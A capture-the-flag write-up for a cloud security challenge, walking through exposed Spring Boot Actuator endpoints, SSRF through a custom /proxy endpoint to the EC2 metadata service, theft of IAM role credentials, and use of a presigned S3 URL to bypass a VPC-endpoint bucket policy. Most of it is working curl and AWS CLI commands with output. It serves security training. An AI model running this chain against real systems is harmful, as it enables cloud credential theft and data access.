# June 2025 - Perimeter Leak

CTF Source: [WIZ Ultimate Cloud Security Championship](https://cloudsecuritychampionship.com/)

Challenge Credit: [Scott Piper](https://www.linkedin.com/in/scott-piper-security)&#x20;

## Overview

In this walkthrough, I'll demonstrate how to successfully complete the June 2025 WIZ challenge.&#x20;

## Walkthrough

{% embed url="<https://youtu.be/qJPS70h-3IY>" %}

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FMq18hsebX62WQ2dZLl0t%2FCleanShot%202025-06-29%20at%2012.59.58%402x.png?alt=media&#x26;token=7ed9c6d2-2392-4067-9907-87245ddcda1d" alt=""><figcaption></figcaption></figure>

### Enumerating the Application

Upon starting this challenge we're provided with the following,

> You've discovered a Spring Boot Actuator application running on AWS: curl <https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com\\>
> {"status":"UP"}

Truthfully, I know that Spring Boot is related to Java but otherwise have no clue how to approach this.&#x20;

A quick Google search for Spring Boot Actuator takes me to the [official documentation](https://docs.spring.io/spring-boot/reference/actuator/endpoints.html).&#x20;

After a bit of research I've learned that Spring Boot is a Java-based framework enabling developers to quickly spin up production-ready applications. And I've also learned about its Actuator endpoints.&#x20;

In fact, we can return that status message shared earlier by querying the endpoint like so,&#x20;

{% code overflow="wrap" %}

```bash
curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/health

{"status":"UP"}
```

{% endcode %}

There's another interesting endpoint which can expose sensitive information, `env`

The output is quite large so I'll just show a snippet.&#x20;

{% code overflow="wrap" %}

```bash
curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/env

"HOME": {
    "value": "/home/ec2-user",
    "origin": "System Environment Property \"HOME\""
},
"BUCKET": {
     "value": "challenge01-470f711",
     "origin": "System Environment Property \"BUCKET\""
},
```

{% endcode %}

Yea.. these endpoints shouldn't be publicly exposed 😬

Alright, so it's looking like this application is running on an EC2 and we learn of an S3 bucket name!&#x20;

Based on the challenge description, it sounds like the flag will be in S3 so let's take a look.&#x20;

### Checking S3

Let's first check what region the bucket is in.&#x20;

{% code overflow="wrap" %}

```bash
curl -I http://challenge01-470f711.s3.amazonaws.com

HTTP/1.1 403 Forbidden
x-amz-bucket-region: us-east-1
x-amz-request-id: 1WEMYEGZYNC10K7T
x-amz-id-2: ocHDAzycSR54o5FBof6p0wXOf8xTfA1wG9pTNAwp9vs8H8OhwQ512gxKpUwsLSrjaqP5qy8v77A=
Content-Type: application/xml
Transfer-Encoding: chunked
Date: Sun, 29 Jun 2025 14:37:08 GMT
Server: AmazonS3
```

{% endcode %}

Now we'll attempt to view the bucket "anonymously" i.e., `--no-sign-request`

{% code overflow="wrap" %}

```bash
aws s3 ls s3://challenge01-470f711/ --no-sign-request

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
```

{% endcode %}

No dice. Maybe the bucket allows for any AWS identity to view it though? I'll try again using AWS credentials from my personal AWS account.&#x20;

{% code overflow="wrap" %}

```bash
aws s3 ls s3://challenge01-470f711/ --profile dev

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
```

{% endcode %}

Also doesn't work. I try a few other commands like `list-object-versions` and `get-bucket-policy` but none work.

Let's go back to enumerating the spring boot app.&#x20;

### Finding a Custom Proxy Endpoint

The `actuator/mappings` endpoint returns information about the different endpoints available to the application. Let's enumerate it and pass the data to `jq` to easily parse.&#x20;

{% code overflow="wrap" %}

```bash
curl -s https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/mappings | jq '.contexts.spring.mappings.dispatcherServlets.dispatcherServlet[]?.details?.requestMappingConditions?.patterns[]?'
```

{% endcode %}

{% code overflow="wrap" %}

```bash
"/actuator/info"
"/actuator/threaddump"
"/actuator/caches/{cache}"
"/actuator/loggers/{name}"
"/actuator/sbom"
"/actuator/env"
"/actuator/mappings"
"/actuator/conditions"
"/actuator/health"
"/actuator/caches"
"/actuator/metrics/{requiredMetricName}"
"/actuator/scheduledtasks"
"/actuator/configprops"
"/actuator/caches"
"/actuator/env/{toMatch}"
"/actuator"
"/actuator/sbom/{id}"
"/actuator/beans"
"/actuator/loggers/{name}"
"/actuator/threaddump"
"/actuator/configprops/{prefix}"
"/actuator/caches/{cache}"
"/actuator/loggers"
"/actuator/metrics"
"/actuator/health/**"
"/proxy"
"/"
"/error"
"/error"
```

{% endcode %}

Hmm.. that `proxy` endpoint isn't standard. Let's take a look!

{% code overflow="wrap" %}

```bash
curl -s https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/mappings | jq '.contexts.spring.mappings.dispatcherServlets.dispatcherServlet[] | select(.details?.requestMappingConditions?.patterns[]? == "/proxy")'
```

{% endcode %}

```json
{
    "predicate": "{ [/proxy], params [url]}",
    "handler": "challenge.Application#proxy(String)",
    "details": {
        "handlerMethod": {
            "className": "challenge.Application",
            "name": "proxy",
            "descriptor": "(Ljava/lang/String;)Ljava/lang/String;"
        },
        "requestMappingConditions": {
            "consumes": [],
            "headers": [],
            "methods": [],
            "params": [
                {
                    "name": "url",
                    "negated": false
                }
            ],
            "patterns": [
                "/proxy"
            ],
            "produces": []
        }
}
```

Let's check if we can query that.&#x20;

Since we know this app is running on an EC2, let's check the Instance Metadata Service (IMDS).&#x20;

{% code overflow="wrap" %}

```bash
curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"   

HTTP error: 401 Unauthorized
```

{% endcode %}

Okay, so this likely means it's running IMDSv2 which requires passing a token. Let's try,&#x20;

{% code overflow="wrap" %}

```bash
TOKEN=`curl -X PUT "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
```

{% endcode %}

We're in!&#x20;

{% code overflow="wrap" %}

```bash
curl -H "X-aws-ec2-metadata-token: $TOKEN" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"

ami-id
ami-launch-index
ami-manifest-path
[SNIP]
```

{% endcode %}

Alright, let's check if the EC2 has an Instance Profile (IAM Role attached).

{% code overflow="wrap" %}

```bash
curl -H "X-aws-ec2-metadata-token: $TOKEN" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

challenge01-5592368
```

{% endcode %}

Let's grab its credentials.&#x20;

{% code overflow="wrap" %}

```bash
curl -H "X-aws-ec2-metadata-token: $TOKEN" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368"

{
  "Code" : "Success",
  "LastUpdated" : "2025-06-29T18:41:41Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "[REDACTED]",
  "SecretAccessKey" : "[REDACTED]",
  "Token" : "[REDACTED]"
[SNIP]
```

{% endcode %}

Nice! We're in.&#x20;

Something to note here is if GuardDuty is enabled in the target environment, we'll have just triggered an alert since we used the EC2's credentials outside of itself. We're not concerned for the purposes of this challenge though.&#x20;

{% code overflow="wrap" %}

```bash
aws --profile c1 sts get-caller-identity
{
    "UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",
    "Account": "092297851374",
    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}
```

{% endcode %}

### Enumerating S3 (Successfully this time!)&#x20;

So here's what we know so far:

* The spring boot application makes reference to an S3 bucket
* The application runs on EC2
* The EC2 has an IAM Role attached

We can guess that the application leverages the IAM Role to access the S3 bucket. Let's try!

{% code overflow="wrap" %}

```bash
aws --profile c1 s3 ls s3://challenge01-470f711 --recursive  
         
2025-06-18 11:15:24         29 hello.txt
2025-06-16 16:01:49         51 private/flag.txt
```

{% endcode %}

We're making progress!&#x20;

The `hello.txt` file isn't interesting and we can't access the flag..&#x20;

{% code overflow="wrap" %}

```bash
aws --profile c1 s3 cp s3://challenge01-470f711/private/flag.txt -         
                                                                                         
download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden
```

{% endcode %}

So it seems we have permissions to view the files but not access the flag file.&#x20;

Can we check the bucket policy?&#x20;

{% code overflow="wrap" %}

```bash
aws --profile c1 s3api get-bucket-policy --bucket challenge01-470f711 \
  --query "Policy" --output text | jq .
  
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::challenge01-470f711/private/*",
      "Condition": {
        "StringNotEquals": {
          "aws:SourceVpce": "vpce-0dfd8b6aa1642a057"
        }
      }
    }
  ]
}
```

{% endcode %}

Ah here we go! The `flag.txt` file (or any files within the `private/` prefix actually) can only be accessed from this VPC Endpoint. We'll assume it's an S3 VPC Endpoint or else the policy wouldn't make sense :smile:

### Accessing the flag!

So, here's the thing, we don't know if that VPC Endpoint is attached to the same VPC that our EC2 instance is in so we'll just assume it is.&#x20;

{% code overflow="wrap" %}

```bash
aws --profile c1 ec2 describe-vpc-endpoints                                          

An error occurred (UnauthorizedOperation) when calling the DescribeVpcEndpoints operation: You are not authorized to perform this operation. User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: ec2:DescribeVpcEndpoints because no identity-based policy allows the ec2:DescribeVpcEndpoints action
```

{% endcode %}

How can we access the S3 bucket from this VPC Endpoint?&#x20;

We need to access it from the EC2 but all we can do is use `curl` via that proxy we found.

One thing we can try to do is generate an [S3 Presigned URL](https://docs.aws.amazon.com/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html). This would provide us with a URL that we could then `curl` through the proxy. Since the request would come from the EC2 instance, it should use that S3 VPC Endpoint we discovered in the S3 bucket policy.&#x20;

Let's see if we can generate a presigned URL.&#x20;

{% code overflow="wrap" %}

```bash
aws --profile c1 s3 presign s3://challenge01-470f711/private/flag.txt 
                                                                                    
https://challenge01-470f711[SNIP]
```

{% endcode %}

Nice!&#x20;

And now we'll try to query it from the proxy.&#x20;

{% code overflow="wrap" %}

```bash
curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=[PRESIGNEDURL]"

HTTP error: 400 Bad Request
```

{% endcode %}

Hmm... probably an encoding issue.&#x20;

Let's try again and this time we'll URL-encode the payload using `jq` and save the output to a variable.

{% code overflow="wrap" %}

```bash
PRESIGNEDURL=`aws --profile c1 s3 presign s3://challenge01-470f711/private/flag.txt | jq -s -R -r @uri`
```

{% endcode %}

{% code overflow="wrap" %}

```bash
curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=$PRESIGNEDURL"

The flag is:[REDACTED]
```

{% endcode %}

We did it! We found the flag.&#x20;

## Wrap Up

In this challenge, we were given access to a Spring Boot application running on an AWS EC2 instance. The application exposed sensitive Actuator endpoints, which revealed internal configuration details, including the name of an S3 bucket. Additionally, a custom `/proxy` endpoint was vulnerable to [Server-Side Request Forgery (SSRF)](https://portswigger.net/web-security/ssrf), allowing us to query the [EC2 instance metadata service (IMDS)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html). Through this, we obtained temporary IAM role credentials assigned to the EC2 instance. Using these credentials, we were able to generate a pre-signed S3 URL and retrieve the flag stored in the otherwise restricted bucket.
